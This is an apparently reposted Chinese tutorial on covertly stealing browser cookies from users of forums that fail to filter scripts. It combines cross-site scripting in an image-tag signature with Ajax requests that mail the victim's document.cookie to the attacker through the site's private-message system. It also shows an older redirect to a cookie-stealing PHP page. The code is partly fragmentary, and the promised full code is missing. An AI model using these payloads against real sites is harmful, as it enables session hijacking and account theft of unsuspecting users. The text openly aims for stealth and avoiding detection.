新物网

当前位置:首页 > 百科

百科

Cookies甜点也不安全Cookies高级窃取法之Ajax

时间:2023-11-04 09:46:53 雅雅
当我们生活在现代结实的建筑下时,Ajax正在改变着Web的工作方式,它通过Javascript和XML为我们带来了直通Web的桌面式的功能。换句话说,Ajax(Asynchronous Javascript and XML)去

当我们生活在现代结实的建筑下时,Ajax正在改变着Web的工作方式,它通过Javascript和XML为我们带来了直通Web的桌面式的功能。换句话说,Ajax(Asynchronous Javascript and XML)去除了通过DHTML特效带来的烦琐的页面更新和链接,并将其变成十分有趣的桌面式应用程序。Ajax不仅是一项技术,而且更不是单纯的技术的集合,当这些技术一起使用时,它提供了强有力的框架。本文将试着教大家如何驾御这项技术来提高Cookies的窃取能力。本文也是个对Ajax不错的介绍,因为它被用在一个独特并有趣的地方。在阅读本文前,大家应该明白,Ajax只在Cookie窃取时有用,如果它绕过了站点的验证系统。为了使它起作用,目标站点必须有一些私有消息(PM)系统来接收Cookies本身,这将有效地绕过浏览器的所有验证来发送请求。
通过Ajax窃取cookie?关键点!
        大家可能很想知道Ajax是怎样帮助我们更隐秘地窃取Cookie的。首先,这种通过Ajax查找的性质决定了它能够以XMLHttpRequest的形式向服务器发送任意请求。从本质上看,它可以通过使用超文本链接或者嵌在网页中的各种数据提交控件来发送这些请求。但通过使用Ajax,当一个用户点击了上述的链接时,请求被自动发送给服务器处理而不需要重定向到另一个页面,这就突破了页面更新的需要,并且把最终结果在Web中显示给用户。只要Web浏览器添加一个合适的Javascript解释器(现在使用的大部分Web浏览器都有这个功能),这些假设就都是可能的。所以,现在让我们想象一下并试用我们刚才学的Cookie窃取。比如,大部分Cookie窃取者都用Javascript的Location方法:window.document.location="http://www.cookie窃取.com/讨厌的窃密者.php",在执行这句后,将完全重定位到一个不同的页面而不是用户请求的;我们再用javascript url:javascript: window.document.location="http://www.target.com"试一下,而这已经是老式的Cookie窃取的方法了。接下来本文将教大家最新的关于如何利用Ajax重定向用户的请求到你选的Web页面的方法。有时,攻击者要使窃取有创造性(老的方法)并且要使页面跟用户先前请求的页面一一模样,猜一下会怎样呢?现在很多用户会怀疑他们看到的URL不是原先那个域名的URL,而是看起来更象http://快来吧.com/窃取.php。当他们看到这个,我们的机会就变成了被举报,并且网络管理员也会意识到什么被窃取了,然后问题就被解决了(当然,如果是在理想世界)。使用Ajax,我们可以把数据附加在用户的Cookie当中,并悄悄地请求和发送到你想要的地方(当中也有一些不理想的地方,下面我们将会讨论它们是什么,该如何在这样的条件下运作)。最后,当用户访问像论坛这样的网站后,我们的任务就完成了,Cookie被窃取,好象什么事都没发生(至少表面上是这样的)。
我是迷糊了,现在该如何开始呢?
        在这么长的介绍之后,是时候开始编写我们的代码了,先开个头!为了达到我们的目的,我们要使Ajax与两大浏览器(Mozilla和IE)兼容。为此,我们需要一些HTTP调试器,Paros Proxy或Microsoft Fiddler就可以了。它们待会将记录请求,虽然不是必需的,但对我们的工作很有用。
        注意:本文将利用常见的攻击方法(跨站脚本攻击)来证明这些代码。我们要利用的是HTML中标签的SRC属性来完成我们的工作。下面的基本代码可以通过简单地修改来满足大家的需要,完整的代码将在文章最后给出来。
前途是光明的
        假设我们的任务是:渗透一个用PHP语言编写的未过滤Javascript或其他恶意代码的有图片个性签名的论坛,在没有人知道的情况下获得一个Cookie。
        下面让我们开始这次“旅行”,用没有危害的图像标签在SRC中隐藏我们的Javascript URL(XSS中常见的形式),具体代码如下所示。
}
else
{
  alert("Javascript must be enabled to continue.");
}
上面的代码是个简单的测试,用以确定XMLHttpRequest对象是能够被创建的。如果不行,代码会返回false并跳出对话框说“Javascript must be enabled to continue.”。既然我们已经成功地创建了一个新的对象,我们该创建一个在成功载入后能向服务器发送请求的函数了。但是当Ajax尝试访问一个外来的链接时,这里就有问题了。通常,浏览器会提示是否确定本次访问,那我们的任务就失败了!如果要使我们的代码是秘密的致命的,我们就必须处理这种情况。幸运的是,我们是对论坛进行测试,通常论坛都会有某些PM(private messaging)系统的,我们就用“以彼之道,还施彼身”的绝学(慕容家的,我偷用下)来实现,以消息的形式来发送我们的Cookies。这不仅是通过在PHP中创建文件来重新得到Cookies,也可以打开文件来把它写入,这意味着我们已经绕过了访问外来链接时的限制,具体代码如下所示。
function socket()
{
/*下面这行很重要。注意到了Cookie是以合法的字符串附加上去的吗?如果绕过站点用的是Post方法来发送消息的,那么就要修改一下代码并使用HTTP调试器做些必要的修改*/
        XMLHttpRequestObject.open('GET','http://www.site.com/privatemessage.phpuser=yourusername&subject=' + window.document.cookie, true);
  XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  XMLHttpRequestObject.send(null);
        //出于我们的善良
  delete XMLHttpRequestObject;
}
//别忘了这是张图片,要闭合标签哦!
window.document.onload='socket();'">
        兄弟姐妹们,现在我们已经做到了利用Ajax窃取Cookie的简单而有效的方法。上面的代码只是作为例子提供的,并不是万能钥匙。比如,如果PM系统用的是Post而不是Get方法,或者很想用图片却没法解除它的限制呢?本文应该能使大家学会编写出更厉害的隐秘的脚本的方法,至少大家应该对无须更新页面即可窃取Cookie有了一定的概念;但也要知道,这种对安全性差的站点的欺骗风险也是很大的,但如果方法得当,也是很难追踪的。总之,本文是一个故事,讲了一个人结合了跨站脚本和跨站请求伪造来执行攻击的故事。如果大家回过头看这些故事里使用的代码,会发现代码是利用了Ajax来执行的,记住哦。

完整的验证代码